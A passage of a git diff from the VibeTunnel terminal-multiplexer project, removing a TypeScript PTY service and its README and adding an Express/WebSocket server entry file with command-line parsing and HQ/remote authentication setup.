});
// Set status code
res.status(response.status);
// Copy headers
response.headers.forEach((value, key) => {
if (key.toLowerCase() !== 'content-encoding') {
res.setHeader(key, value);
}
});
// Check content type to determine how to forward response
const contentType = response.headers.get('content-type') || '';
if (contentType.includes('application/octet-stream')) {
// Binary data - forward as buffer
const buffer = await response.arrayBuffer();
res.send(Buffer.from(buffer));
} else if (contentType.includes('text/event-stream')) {
// SSE - forward as stream
const reader = response.body?.getReader();
if (reader) {
const decoder = new TextDecoder();
try {
while (true) {
const { done, value } = await reader.read();
if (done) break;
res.write(decoder.decode(value, { stream: true }));
}
} finally {
reader.releaseLock();
}
}
res.end();
} else {
// Text or JSON - forward as before
const data = await response.text();
try {
const jsonData = JSON.parse(data);
res.json(jsonData);
} catch {
res.send(data);
}
}
} catch (error) {
console.error(`Failed to proxy request to remote ${remote.name}:`, error);
res.status(503).json({ error: 'Failed to communicate with remote server' });
}
};
}

View file

@ -1,600 +0,0 @@
/**
* PtyService - Integration layer with fallback to tty-fwd
*
* This service provides a unified interface that can use either the native
* Node.js PTY implementation or fall back to the existing tty-fwd binary.
*/
import * as fs from 'fs';
import * as path from 'path';
import * as os from 'os';
import { spawn, spawnSync } from 'child_process';
import {
SessionEntryWithId,
SessionOptions,
SessionInput,
PtyConfig,
SessionCreationResult,
PtyError,
} from './types.js';
import { PtyManager } from './PtyManager.js';
import { ProcessUtils } from './ProcessUtils.js';
export class PtyService {
private config: PtyConfig;
private ptyManager: PtyManager | null = null;
constructor(config?: Partial<PtyConfig>) {
this.config = {
implementation: 'auto',
controlPath: path.join(os.homedir(), '.vibetunnel', 'control'),
fallbackToTtyFwd: true,
...config,
};
// Initialize based on implementation choice
this.initialize();
}
/**
* Initialize the service based on configuration
*/
private initialize(): void {
const implementation = this.determineImplementation();
if (implementation === 'node-pty') {
try {
this.ptyManager = new PtyManager(this.config.controlPath);
console.log('PtyService: Using node-pty implementation');
} catch (error) {
console.warn('PtyService: Failed to initialize node-pty:', error);
if (this.config.fallbackToTtyFwd) {
console.log('PtyService: Falling back to tty-fwd');
this.ptyManager = null;
} else {
throw new PtyError('Failed to initialize node-pty and fallback disabled');
}
}
} else {
console.log('PtyService: Using tty-fwd implementation');
this.ptyManager = null;
}
}
/**
* Determine which implementation to use
*/
private determineImplementation(): 'node-pty' | 'tty-fwd' {
if (this.config.implementation === 'node-pty') {
return 'node-pty';
}
if (this.config.implementation === 'tty-fwd') {
return 'tty-fwd';
}
// Auto-detection
try {
// Check if we have write access to control directory
const controlPath = this.config.controlPath;
if (!fs.existsSync(controlPath)) {
fs.mkdirSync(controlPath, { recursive: true });
}
fs.accessSync(controlPath, fs.constants.W_OK);
return 'node-pty';
} catch (error) {
console.warn('PtyService: node-pty not available, using tty-fwd:', error);
return 'tty-fwd';
}
}
/**
* Create a new session
*/
async createSession(
command: string[],
options: SessionOptions = {}
): Promise<SessionCreationResult> {
if (this.ptyManager) {
return await this.ptyManager.createSession(command, options);
} else {
return await this.createSessionTtyFwd(command, options);
}
}
/**
* Create session using tty-fwd binary
*/
private async createSessionTtyFwd(
command: string[],
options: SessionOptions
): Promise<SessionCreationResult> {
return new Promise((resolve, reject) => {
const ttyFwdPath = this.findTtyFwdBinary();
const args = ['--control-path', this.config.controlPath];
if (options.sessionName) {
args.push('--session-name', options.sessionName);
}
args.push('--', ...command);
const proc = spawn(ttyFwdPath, args, {
cwd: options.workingDir || process.cwd(),
env: {
...process.env,
TERM: options.term || 'xterm-256color',
},
});
let output = '';
let error = '';
proc.stdout?.on('data', (data) => {
output += data.toString();
});
proc.stderr?.on('data', (data) => {
error += data.toString();
});
proc.on('close', (code) => {
if (code === 0) {
// Parse session ID from output (tty-fwd should output session ID)
const sessionId = output.trim();
// Wait a bit for session file to be created
setTimeout(() => {
try {
const session = this.getSession(sessionId);
if (session) {
resolve({
sessionId,
sessionInfo: {
cmdline: session.cmdline,
name: session.name,
cwd: session.cwd,
pid: session.pid,
status: session.status,
exit_code: session.exit_code,
started_at: session.started_at,
term: session.term,
spawn_type: session.spawn_type,
},
});
} else {
reject(new PtyError(`Session ${sessionId} not found after creation`));
}
} catch (err) {
reject(new PtyError(`Failed to get session info: ${err}`));
}
}, 100);
} else {
reject(new PtyError(`tty-fwd failed with code ${code}: ${error}`));
}
});
proc.on('error', (err) => {
reject(new PtyError(`Failed to spawn tty-fwd: ${err.message}`));
});
});
}
/**
* Send input to a session
*/
sendInput(sessionId: string, input: SessionInput): void {
if (this.ptyManager) {
return this.ptyManager.sendInput(sessionId, input);
} else {
return this.sendInputTtyFwd(sessionId, input);
}
}
/**
* Send input using tty-fwd binary (fast async approach)
*/
private sendInputTtyFwd(sessionId: string, input: SessionInput): void {
// For performance, write directly to the session's stdin pipe instead of spawning tty-fwd
const session = this.getSession(sessionId);
if (!session || !session.stdin) {
throw new PtyError(
`Session ${sessionId} not found or has no stdin pipe`,
'SESSION_NOT_FOUND',
sessionId
);
}
try {
let dataToSend = '';
if (input.text !== undefined) {
dataToSend = input.text;
} else if (input.key !== undefined) {
// Convert special keys to appropriate sequences
const keyMap: Record<string, string> = {
arrow_up: '\x1b[A',
arrow_down: '\x1b[B',
arrow_right: '\x1b[C',
arrow_left: '\x1b[D',
escape: '\x1b',
enter: '\r',
ctrl_enter: '\n',
shift_enter: '\r\n',
};
dataToSend = keyMap[input.key] || '';
if (!dataToSend) {
throw new PtyError(`Unknown special key: ${input.key}`, 'UNKNOWN_KEY');
}
} else {
throw new PtyError('No text or key specified in input');
}
// Use async file write for better performance
const fs = require('fs');
if (fs.existsSync(session.stdin)) {
fs.appendFileSync(session.stdin, dataToSend);
} else {
throw new PtyError(
`Session stdin pipe not found: ${session.stdin}`,
'STDIN_NOT_FOUND',
sessionId
);
}
} catch (error) {
throw new PtyError(
`Failed to send input to session ${sessionId}: ${error instanceof Error ? error.message : String(error)}`,
'SEND_INPUT_FAILED',
sessionId
);
}
}
/**
* Resize a session
*/
resizeSession(sessionId: string, cols: number, rows: number): void {
if (this.ptyManager) {
return this.ptyManager.resizeSession(sessionId, cols, rows);
} else {
// tty-fwd doesn't have explicit resize command, PTY should handle SIGWINCH automatically
console.warn('Resize not supported with tty-fwd implementation');
}
}
/**
* Kill a session
* Returns a promise that resolves when the process is actually terminated
*/
async killSession(sessionId: string, signal: string | number = 'SIGTERM'): Promise<void> {
if (this.ptyManager) {
return await this.ptyManager.killSession(sessionId, signal);
} else {
return this.killSessionTtyFwd(sessionId, signal);
}
}
/**
* Kill session using tty-fwd binary with proper escalation
*/
private async killSessionTtyFwd(sessionId: string, signal: string | number): Promise<void> {
const ttyFwdPath = this.findTtyFwdBinary();
// If signal is already SIGKILL, send it immediately
if (signal === 'SIGKILL' || signal === 9) {
const args = ['--control-path', this.config.controlPath, '--session', sessionId, '--kill'];
const result = spawnSync(ttyFwdPath, args, {
stdio: 'pipe',
timeout: 5000,
});
if (result.status !== 0) {
throw new PtyError(`tty-fwd kill failed with code ${result.status}`);
}
return;
}
// Get session info to find PID for monitoring
const session = this.getSession(sessionId);
if (!session || !session.pid) {
throw new PtyError(
`Session ${sessionId} not found or has no PID`,
'SESSION_NOT_FOUND',
sessionId
);
}
const pid = session.pid;
console.log(`Terminating session ${sessionId} (PID: ${pid}) with tty-fwd SIGTERM...`);
try {
// Send SIGTERM first via tty-fwd
const args = ['--control-path', this.config.controlPath, '--session', sessionId, '--stop'];
const result = spawnSync(ttyFwdPath, args, {
stdio: 'pipe',
timeout: 5000,
});
if (result.status !== 0) {
throw new PtyError(`tty-fwd stop failed with code ${result.status}`);
}
// Wait up to 3 seconds for graceful termination (check every 500ms)
const maxWaitTime = 3000;
const checkInterval = 500;
const maxChecks = maxWaitTime / checkInterval;
for (let i = 0; i < maxChecks; i++) {
// Wait for check interval
await new Promise((resolve) => setTimeout(resolve, checkInterval));
// Check if process is still alive
if (!ProcessUtils.isProcessRunning(pid)) {
// Process no longer exists - it terminated gracefully
console.log(
`Session ${sessionId} terminated gracefully after ${(i + 1) * checkInterval}ms`
);
return;
}
// Process still exists, continue waiting
console.log(`Session ${sessionId} still alive after ${(i + 1) * checkInterval}ms...`);
}
// Process didn't terminate gracefully within 3 seconds, force kill
console.log(
`Session ${sessionId} didn't terminate gracefully, sending SIGKILL via tty-fwd...`
);
const killArgs = [
'--control-path',
this.config.controlPath,
'--session',
sessionId,
'--kill',
];
const killResult = spawnSync(ttyFwdPath, killArgs, {
stdio: 'pipe',
timeout: 5000,
});
if (killResult.status !== 0) {
console.warn(
`tty-fwd SIGKILL failed with code ${killResult.status}, process may already be dead`
);
}
// Wait a bit more for SIGKILL to take effect
await new Promise((resolve) => setTimeout(resolve, 100));
console.log(`Session ${sessionId} forcefully terminated with SIGKILL`);
} catch (error) {
throw new PtyError(
`Failed to kill session via tty-fwd: ${error instanceof Error ? error.message : String(error)}`
);
}
}
/**
* List all sessions
*/
listSessions(): SessionEntryWithId[] {
if (this.ptyManager) {
return this.ptyManager.listSessions();
} else {
return this.listSessionsTtyFwd();
}
}
/**
* List sessions using tty-fwd binary
*/
private listSessionsTtyFwd(): SessionEntryWithId[] {
try {
const ttyFwdPath = this.findTtyFwdBinary();
const args = ['--control-path', this.config.controlPath, '--list-sessions'];
const result = spawnSync(ttyFwdPath, args, {
stdio: 'pipe',
});
if (result.status !== 0) {
throw new PtyError(`tty-fwd list sessions failed with code ${result.status}`);
}
const output = result.stdout?.toString() || '[]';
return JSON.parse(output) as SessionEntryWithId[];
} catch (error) {
// In test/development environments, if tty-fwd is not available, return empty list
if (process.env.NODE_ENV === 'test' || process.env.VITEST) {
console.warn('tty-fwd not available in test environment, returning empty session list');
return [];
}
throw new PtyError(
`Failed to list sessions via tty-fwd: ${error instanceof Error ? error.message : String(error)}`
);
}
}
/**
* Get a specific session
*/
getSession(sessionId: string): SessionEntryWithId | null {
if (this.ptyManager) {
return this.ptyManager.getSession(sessionId);
} else {
const sessions = this.listSessionsTtyFwd();
return sessions.find((s) => s.session_id === sessionId) || null;
}
}
/**
* Cleanup a specific session
*/
cleanupSession(sessionId: string): void {
if (this.ptyManager) {
return this.ptyManager.cleanupSession(sessionId);
} else {
return this.cleanupSessionTtyFwd(sessionId);
}
}
/**
* Cleanup session using tty-fwd binary
*/
private cleanupSessionTtyFwd(sessionId: string): void {
try {
const ttyFwdPath = this.findTtyFwdBinary();
const args = ['--control-path', this.config.controlPath, '--session', sessionId, '--cleanup'];
const result = spawnSync(ttyFwdPath, args, {
stdio: 'pipe',
timeout: 5000,
});
if (result.status !== 0) {
throw new PtyError(`tty-fwd cleanup failed with code ${result.status}`);
}
} catch (error) {
// If tty-fwd cleanup fails, try manual cleanup
console.warn(
`tty-fwd cleanup failed for session ${sessionId}, attempting manual cleanup:`,
error
);
try {
const sessionDir = path.join(this.config.controlPath, sessionId);
if (fs.existsSync(sessionDir)) {
fs.rmSync(sessionDir, { recursive: true, force: true });
}
} catch (manualError) {
throw new PtyError(
`Both tty-fwd and manual cleanup failed for session ${sessionId}: ${manualError}`
);
}
}
}
/**
* Cleanup all exited sessions
*/
cleanupExitedSessions(): string[] {
if (this.ptyManager) {
return this.ptyManager.cleanupExitedSessions();
} else {
return this.cleanupExitedSessionsTtyFwd();
}
}
/**
* Cleanup exited sessions using tty-fwd binary
*/
private cleanupExitedSessionsTtyFwd(): string[] {
try {
const sessions = this.listSessionsTtyFwd();
const exitedSessions = sessions.filter((s) => s.status === 'exited');
const cleanedSessions: string[] = [];
for (const session of exitedSessions) {
try {
this.cleanupSessionTtyFwd(session.session_id);
cleanedSessions.push(session.session_id);
} catch (error) {
console.warn(`Failed to cleanup exited session ${session.session_id}:`, error);
}
}
return cleanedSessions;
} catch (error) {
throw new PtyError(
`Failed to cleanup exited sessions via tty-fwd: ${error instanceof Error ? error.message : String(error)}`
);
}
}
/**
* Find tty-fwd binary path
*/
private findTtyFwdBinary(): string {
if (this.config.ttyFwdPath && fs.existsSync(this.config.ttyFwdPath)) {
return this.config.ttyFwdPath;
}
// Common paths to check
const possiblePaths = [
// Relative to project
path.join(process.cwd(), '../tty-fwd/target/release/tty-fwd'),
path.join(process.cwd(), '../tty-fwd/target/debug/tty-fwd'),
// System PATH
'tty-fwd',
];
for (const binPath of possiblePaths) {
if (binPath === 'tty-fwd') {
// Check if in PATH
try {
const result = spawnSync('which', ['tty-fwd'], { stdio: 'pipe' });
if (result.status === 0) {
return 'tty-fwd';
}
} catch (_error) {
// Continue checking other paths
}
} else if (fs.existsSync(binPath)) {
return binPath;
}
}
throw new PtyError('tty-fwd binary not found');
}
/**
* Check if using native node-pty implementation
*/
isUsingNodePty(): boolean {
return this.ptyManager !== null;
}
/**
* Check if using tty-fwd implementation
*/
isUsingTtyFwd(): boolean {
return this.ptyManager === null;
}
/**
* Get current implementation name
*/
getCurrentImplementation(): string {
return this.isUsingNodePty() ? 'node-pty' : 'tty-fwd';
}
/**
* Get configuration
*/
getConfig(): PtyConfig {
return { ...this.config };
}
/**
* Get control path
*/
getControlPath(): string {
return this.config.controlPath;
}
/**
* Get active session count (only for node-pty)
*/
getActiveSessionCount(): number {
if (this.ptyManager) {
return this.ptyManager.getActiveSessionCount();
}
// For tty-fwd, count running sessions
try {
const sessions = this.listSessions();
return sessions.filter((s) => s.status === 'running').length;
} catch (_error) {
return 0;
}
}
}

View file

@ -1,420 +0,0 @@
# PTY Module
A Node.js/TypeScript implementation for managing PTY (pseudo-terminal) sessions with automatic fallback to tty-fwd.
## Features
- **Native Node.js Implementation**: Uses `node-pty` for high-performance terminal management
- **Automatic Fallback**: Falls back to `tty-fwd` binary if node-pty is unavailable
- **Asciinema Recording**: Records terminal sessions in standard asciinema format
- **Session Persistence**: Sessions persist across restarts with metadata
- **Full Compatibility**: Drop-in replacement for existing tty-fwd integration
- **TypeScript Support**: Fully typed interfaces and error handling
## Quick Start
```typescript
import { PtyService } from './pty/index.js';
// Create service with auto-detection
const ptyService = new PtyService({
implementation: 'auto',
fallbackToTtyFwd: true,
});
// Create a session
const result = await ptyService.createSession(['bash'], {
sessionName: 'my-session',
workingDir: '/home/user',
cols: 80,
rows: 24,
});
console.log(`Created session: ${result.sessionId}`);
// Send input to session
ptyService.sendInput(result.sessionId, { text: 'echo hello\n' });
// List all sessions
const sessions = ptyService.listSessions();
// Cleanup session
ptyService.cleanupSession(result.sessionId);
```
## Configuration
Configure the service via constructor options or environment variables:
```typescript
const ptyService = new PtyService({
implementation: 'node-pty', // 'node-pty' | 'tty-fwd' | 'auto'
controlPath: '/custom/path', // Session storage directory
fallbackToTtyFwd: true, // Enable fallback to tty-fwd
ttyFwdPath: '/path/to/tty-fwd', // Custom tty-fwd binary path
});
```
### Environment Variables
- `PTY_IMPLEMENTATION`: Implementation to use ('node-pty', 'tty-fwd', 'auto')
- `TTY_FWD_CONTROL_DIR`: Control directory path (default: ~/.vibetunnel/control)
- `PTY_FALLBACK_TTY_FWD`: Enable fallback ('true' or 'false')
- `TTY_FWD_PATH`: Path to tty-fwd binary
## API Reference
### PtyService
Main service class providing unified PTY management.
#### Methods
##### `createSession(command: string[], options?: SessionOptions): Promise<SessionCreationResult>`
Creates a new PTY session.
**Parameters:**
- `command`: Array of command and arguments to execute
- `options`: Optional session configuration
**Returns:** Promise resolving to session ID and info
**Example:**
```typescript
const result = await ptyService.createSession(['vim', 'file.txt'], {
sessionName: 'vim-session',
workingDir: '/home/user/projects',
term: 'xterm-256color',
cols: 120,
rows: 30,
});
```
##### `sendInput(sessionId: string, input: SessionInput): void`
Sends input to a session.
**Parameters:**
- `sessionId`: Target session ID
- `input`: Text or special key input
**Example:**
```typescript
// Send text
ptyService.sendInput(sessionId, { text: 'hello world\n' });
// Send special key
ptyService.sendInput(sessionId, { key: 'arrow_up' });
```
**Supported special keys:**
- `arrow_up`, `arrow_down`, `arrow_left`, `arrow_right`
- `escape`, `enter`, `ctrl_enter`, `shift_enter`
##### `listSessions(): SessionEntryWithId[]`
Lists all sessions with metadata.
##### `getSession(sessionId: string): SessionEntryWithId | null`
Gets specific session by ID.
##### `killSession(sessionId: string, signal?: string | number): Promise<void>`
Terminates a session and waits for the process to actually be killed.
**Parameters:**
- `sessionId`: Session to terminate
- `signal`: Signal to send (default: 'SIGTERM')
**Returns:** Promise that resolves when the process is actually terminated
**Process:**
1. Sends SIGTERM initially
2. Waits up to 3 seconds (checking every 500ms)
3. Sends SIGKILL if process doesn't terminate gracefully
4. Resolves when process is confirmed dead
##### `cleanupSession(sessionId: string): void`
Removes session and cleans up files.
##### `cleanupExitedSessions(): string[]`
Removes all exited sessions and returns cleaned session IDs.
##### `resizeSession(sessionId: string, cols: number, rows: number): void`
Resizes session terminal (node-pty only).
#### Status Methods
##### `getCurrentImplementation(): string`
Returns current implementation ('node-pty' or 'tty-fwd').
##### `isUsingNodePty(): boolean`
Returns true if using node-pty implementation.
##### `isUsingTtyFwd(): boolean`
Returns true if using tty-fwd implementation.
##### `getActiveSessionCount(): number`
Returns number of active sessions.
##### `getControlPath(): string`
Returns session storage directory path.
##### `getConfig(): PtyConfig`
Returns current configuration.
## Session File Structure
Sessions are stored in a directory structure compatible with tty-fwd:
```
~/.vibetunnel/control/
├── session-uuid-1/
│ ├── session.json # Session metadata
│ ├── stream-out # Asciinema recording
│ ├── stdin # Input pipe/file
│ └── notification-stream # Event notifications
└── session-uuid-2/
└── ...
```
### session.json Format
```json
{
"cmdline": ["bash", "-l"],
"name": "my-session",
"cwd": "/home/user",
"pid": 1234,
"status": "running",
"exit_code": null,
"started_at": "2023-12-01T10:00:00.000Z",
"term": "xterm-256color",
"spawn_type": "pty"
}
```
### Asciinema Format
The `stream-out` file follows the [asciinema file format](https://github.com/asciinema/asciinema/blob/develop/doc/asciicast-v2.md):
```
{"version": 2, "width": 80, "height": 24, "timestamp": 1609459200, "env": {"SHELL": "/bin/bash", "TERM": "xterm-256color"}}
[0.248848, "o", "\u001b]0;user@host: ~\u0007\u001b[01;32muser@host\u001b[00m:\u001b[01;34m~\u001b[00m$ "]
[1.001376, "o", "h"]
[1.064593, "o", "e"]
```
## Integration with Existing Server
### Drop-in Replacement
Replace existing tty-fwd calls with the PTY service:
```typescript
// Before (tty-fwd)
const proc = spawn(ttyFwdPath, ['--control-path', controlPath, '--', ...command]);
// After (PTY service)
const result = await ptyService.createSession(command, options);
```
### Express.js Route Integration
```typescript
import { PtyService } from './pty/index.js';
const ptyService = new PtyService();
// POST /api/sessions
app.post('/api/sessions', async (req, res) => {
try {
const { command, workingDir } = req.body;
const result = await ptyService.createSession(command, { workingDir });
res.json({ sessionId: result.sessionId });
} catch (error) {
res.status(500).json({ error: error.message });
}
});
// GET /api/sessions
app.get('/api/sessions', (req, res) => {
const sessions = ptyService.listSessions();
res.json(sessions);
});
// POST /api/sessions/:id/input
app.post('/api/sessions/:id/input', (req, res) => {
const { text, key } = req.body;
ptyService.sendInput(req.params.id, { text, key });
res.json({ success: true });
});
```
## Error Handling
All methods throw `PtyError` instances with structured error information:
```typescript
try {
await ptyService.createSession(['invalid-command']);
} catch (error) {
if (error instanceof PtyError) {
console.error(`PTY Error [${error.code}]: ${error.message}`);
if (error.sessionId) {
console.error(`Session ID: ${error.sessionId}`);
}
}
}
```
## Testing
Run the test suite:
```bash
npm test src/pty/__tests__/
```
The tests automatically detect the available implementation and test accordingly.
## Performance Considerations
### Node.js Implementation
- **Memory Usage**: ~10-20MB per active session
- **CPU Overhead**: Minimal, event-driven
- **Latency**: < 5ms for input/output operations
- **Concurrency**: Supports 50+ concurrent sessions
### tty-fwd Fallback
- **Subprocess Overhead**: ~2-5ms per operation
- **Memory Usage**: Minimal for service, ~5-10MB per session
- **Compatibility**: Works on all platforms where tty-fwd runs
## Migration Guide
### From Direct tty-fwd Usage
1. **Replace Binary Calls**:
```typescript
// Old
spawn('tty-fwd', ['--control-path', path, '--list-sessions']);
// New
ptyService.listSessions();
```
2. **Update Session Creation**:
```typescript
// Old
spawn('tty-fwd', ['--control-path', path, '--', ...command]);
// New
await ptyService.createSession(command);
```
3. **Modernize Input Handling**:
```typescript
// Old
spawn('tty-fwd', ['--session', id, '--send-text', text]);
// New
ptyService.sendInput(id, { text });
```
### Environment Variables
Set environment variables to control behavior:
```bash
# Force node-pty usage
export PTY_IMPLEMENTATION=node-pty
# Force tty-fwd usage
export PTY_IMPLEMENTATION=tty-fwd
# Auto-detect (default)
export PTY_IMPLEMENTATION=auto
# Disable fallback
export PTY_FALLBACK_TTY_FWD=false
```
## Troubleshooting
### Common Issues
**"node-pty not available"**
- Install dependencies: `npm install node-pty`
- Check platform compatibility
- Enable fallback: `PTY_FALLBACK_TTY_FWD=true`
**"tty-fwd binary not found"**
- Set path: `TTY_FWD_PATH=/path/to/tty-fwd`
- Ensure binary is in PATH
- Check file permissions
**Permission errors**
- Verify control directory permissions
- Check PTY device access
- Run with appropriate user privileges
**Session not found**
- Check session ID validity
- Verify control directory path
- Ensure session hasn't been cleaned up
### Debug Logging
Enable debug logging to troubleshoot issues:
```typescript
// Log current implementation
console.log('Using:', ptyService.getCurrentImplementation());
// Log configuration
console.log('Config:', ptyService.getConfig());
// Log active sessions
console.log('Active sessions:', ptyService.getActiveSessionCount());
```
## Contributing
When adding features or fixing bugs:
1. **Add Tests**: Ensure new functionality is tested
2. **Update Types**: Keep TypeScript interfaces current
3. **Maintain Compatibility**: Preserve tty-fwd compatibility
4. **Document Changes**: Update this README and code comments
## License
Licensed under the same license as the parent project.

File diff suppressed because it is too large Load diff

432
web/src/server/app.ts Normal file
View file

@ -0,0 +1,432 @@
import express from 'express';
import { createServer } from 'http';
import { WebSocketServer } from 'ws';
import * as path from 'path';
import * as fs from 'fs';
import * as os from 'os';
import chalk from 'chalk';
import { PtyManager } from './pty/index.js';
import { TerminalManager } from './services/terminal-manager.js';
import { StreamWatcher } from './services/stream-watcher.js';
import { RemoteRegistry } from './services/remote-registry.js';
import { HQClient } from './services/hq-client.js';
import { createAuthMiddleware } from './middleware/auth.js';
import { createSessionRoutes } from './routes/sessions.js';
import { createRemoteRoutes } from './routes/remotes.js';
import { ControlDirWatcher } from './services/control-dir-watcher.js';
import { BufferAggregator } from './services/buffer-aggregator.js';
import { v4 as uuidv4 } from 'uuid';
interface Config {
port: number | null;
basicAuthUsername: string | null;
basicAuthPassword: string | null;
isHQMode: boolean;
hqUrl: string | null;
hqUsername: string | null;
hqPassword: string | null;
remoteName: string | null;
allowInsecureHQ: boolean;
showHelp: boolean;
}
// Show help message
function showHelp() {
console.log(`
VibeTunnel Server - Terminal Multiplexer
Usage: vibetunnel-server [options]
Options:
--help Show this help message
--port <number> Server port (default: 4020 or PORT env var)
--username <string> Basic auth username (or VIBETUNNEL_USERNAME env var)
--password <string> Basic auth password (or VIBETUNNEL_PASSWORD env var)
HQ Mode Options:
--hq Run as HQ (headquarters) server
Remote Server Options:
--hq-url <url> HQ server URL to register with
--hq-username <user> Username for HQ authentication
--hq-password <pass> Password for HQ authentication
--name <name> Unique name for this remote server
--allow-insecure-hq Allow HTTP URLs for HQ (default: HTTPS only)
Environment Variables:
PORT Default port if --port not specified
VIBETUNNEL_USERNAME Default username if --username not specified
VIBETUNNEL_PASSWORD Default password if --password not specified
VIBETUNNEL_CONTROL_DIR Control directory for session data
Examples:
# Run a simple server with authentication
vibetunnel-server --username admin --password secret
# Run as HQ server
vibetunnel-server --hq --username hq-admin --password hq-secret
# Run as remote server registering with HQ
vibetunnel-server --username local --password local123 \\
--hq-url https://hq.example.com \\
--hq-username hq-admin --hq-password hq-secret \\
--name remote-1
`);
}
// Parse command line arguments
function parseArgs(): Config {
const args = process.argv.slice(2);
const config = {
port: null as number | null,
basicAuthUsername: null as string | null,
basicAuthPassword: null as string | null,
isHQMode: false,
hqUrl: null as string | null,
hqUsername: null as string | null,
hqPassword: null as string | null,
remoteName: null as string | null,
allowInsecureHQ: false,
showHelp: false,
};
// Check for help flag first
if (args.includes('--help') || args.includes('-h')) {
config.showHelp = true;
return config;
}
// Check for command line arguments
for (let i = 0; i < args.length; i++) {
if (args[i] === '--port' && i + 1 < args.length) {
config.port = parseInt(args[i + 1], 10);
i++; // Skip the port value in next iteration
} else if (args[i] === '--username' && i + 1 < args.length) {
config.basicAuthUsername = args[i + 1];
i++; // Skip the username value in next iteration
} else if (args[i] === '--password' && i + 1 < args.length) {
config.basicAuthPassword = args[i + 1];
i++; // Skip the password value in next iteration
} else if (args[i] === '--hq') {
config.isHQMode = true;
} else if (args[i] === '--hq-url' && i + 1 < args.length) {
config.hqUrl = args[i + 1];
i++; // Skip the URL value in next iteration
} else if (args[i] === '--hq-username' && i + 1 < args.length) {
config.hqUsername = args[i + 1];
i++; // Skip the username value in next iteration
} else if (args[i] === '--hq-password' && i + 1 < args.length) {
config.hqPassword = args[i + 1];
i++; // Skip the password value in next iteration
} else if (args[i] === '--name' && i + 1 < args.length) {
config.remoteName = args[i + 1];
i++; // Skip the name value in next iteration
} else if (args[i] === '--allow-insecure-hq') {
config.allowInsecureHQ = true;
} else if (args[i].startsWith('--')) {
// Unknown argument
console.error(chalk.red(`ERROR: Unknown argument: ${args[i]}`));
console.error('Use --help to see available options');
process.exit(1);
}
}
// Check environment variables for local auth
if (!config.basicAuthUsername && process.env.VIBETUNNEL_USERNAME) {
config.basicAuthUsername = process.env.VIBETUNNEL_USERNAME;
}
if (!config.basicAuthPassword && process.env.VIBETUNNEL_PASSWORD) {
config.basicAuthPassword = process.env.VIBETUNNEL_PASSWORD;
}
return config;
}
// Validate configuration
function validateConfig(config: ReturnType<typeof parseArgs>) {
// Validate local auth configuration
if (
(config.basicAuthUsername && !config.basicAuthPassword) ||
(!config.basicAuthUsername && config.basicAuthPassword)
) {
console.error(
chalk.red('ERROR: Both username and password must be provided for authentication')
);
console.error(
'Use --username and --password, or set both VIBETUNNEL_USERNAME and VIBETUNNEL_PASSWORD'
);
process.exit(1);
}
// Validate HQ registration configuration
if (config.hqUrl && (!config.hqUsername || !config.hqPassword)) {
console.error(chalk.red('ERROR: HQ username and password required when --hq-url is specified'));
console.error('Use --hq-username and --hq-password with --hq-url');
process.exit(1);
}
// Validate remote name is provided when registering with HQ
if (config.hqUrl && !config.remoteName) {
console.error(chalk.red('ERROR: Remote name required when --hq-url is specified'));
console.error('Use --name to specify a unique name for this remote server');
process.exit(1);
}
// Validate HQ URL is HTTPS unless explicitly allowed
if (config.hqUrl && !config.hqUrl.startsWith('https://') && !config.allowInsecureHQ) {
console.error(chalk.red('ERROR: HQ URL must use HTTPS protocol'));
console.error('Use --allow-insecure-hq to allow HTTP for testing');
process.exit(1);
}
// Validate HQ registration configuration
if (
(config.hqUrl || config.hqUsername || config.hqPassword) &&
(!config.hqUrl || !config.hqUsername || !config.hqPassword)
) {
console.error(
chalk.red('ERROR: All HQ parameters required: --hq-url, --hq-username, --hq-password')
);
process.exit(1);
}
// Can't be both HQ mode and register with HQ
if (config.isHQMode && config.hqUrl) {
console.error(chalk.red('ERROR: Cannot use --hq and --hq-url together'));
console.error('Use --hq to run as HQ server, or --hq-url to register with an HQ');
process.exit(1);
}
// If not HQ mode and no HQ URL, warn about authentication
if (!config.basicAuthUsername && !config.basicAuthPassword && !config.isHQMode && !config.hqUrl) {
console.log(chalk.red('WARNING: No authentication configured!'));
console.log(
chalk.yellow(
'Set VIBETUNNEL_USERNAME and VIBETUNNEL_PASSWORD or use --username and --password flags.'
)
);
}
}
interface AppInstance {
app: express.Application;
server: ReturnType<typeof createServer>;
wss: WebSocketServer;
startServer: () => void;
config: Config;
ptyManager: PtyManager;
terminalManager: TerminalManager;
streamWatcher: StreamWatcher;
remoteRegistry: RemoteRegistry | null;
hqClient: HQClient | null;
controlDirWatcher: ControlDirWatcher | null;
bufferAggregator: BufferAggregator | null;
}
export function createApp(): AppInstance {
const config = parseArgs();
// Check if help was requested
if (config.showHelp) {
showHelp();
process.exit(0);
}
validateConfig(config);
const app = express();
const server = createServer(app);
const wss = new WebSocketServer({ server });
// Add JSON body parser middleware
app.use(express.json());
// Control directory for session data
const CONTROL_DIR =
process.env.VIBETUNNEL_CONTROL_DIR || path.join(os.homedir(), '.vibetunnel/control');
// Ensure control directory exists
if (!fs.existsSync(CONTROL_DIR)) {
fs.mkdirSync(CONTROL_DIR, { recursive: true });
console.log(chalk.green(`Created control directory: ${CONTROL_DIR}`));
}
// Initialize PTY manager
const ptyManager = new PtyManager(CONTROL_DIR);
// Initialize Terminal Manager for server-side terminal state
const terminalManager = new TerminalManager(CONTROL_DIR);
// Initialize stream watcher for file-based streaming
const streamWatcher = new StreamWatcher();
// Initialize HQ components
let remoteRegistry: RemoteRegistry | null = null;
let hqClient: HQClient | null = null;
let controlDirWatcher: ControlDirWatcher | null = null;
let bufferAggregator: BufferAggregator | null = null;
let remoteBearerToken: string | null = null;
if (config.isHQMode) {
remoteRegistry = new RemoteRegistry();
console.log(chalk.green('Running in HQ mode'));
} else if (config.hqUrl && config.hqUsername && config.hqPassword && config.remoteName) {
// Generate bearer token for this remote server
remoteBearerToken = uuidv4();
}
// Initialize buffer aggregator
bufferAggregator = new BufferAggregator({
terminalManager,
remoteRegistry,
isHQMode: config.isHQMode,
});
// Set up authentication
const authMiddleware = createAuthMiddleware({
basicAuthUsername: config.basicAuthUsername,
basicAuthPassword: config.basicAuthPassword,
isHQMode: config.isHQMode,
bearerToken: remoteBearerToken || undefined, // Token that HQ must use to auth with us
});
// Apply auth middleware to all API routes
app.use('/api', authMiddleware);
// Serve static files
const publicPath = path.join(process.cwd(), 'public');
app.use(express.static(publicPath));
// Health check endpoint (no auth required)
app.get('/api/health', (req, res) => {
res.json({
status: 'ok',
timestamp: new Date().toISOString(),
mode: config.isHQMode ? 'hq' : 'remote',
});
});
// Mount routes
app.use(
'/api',
createSessionRoutes({
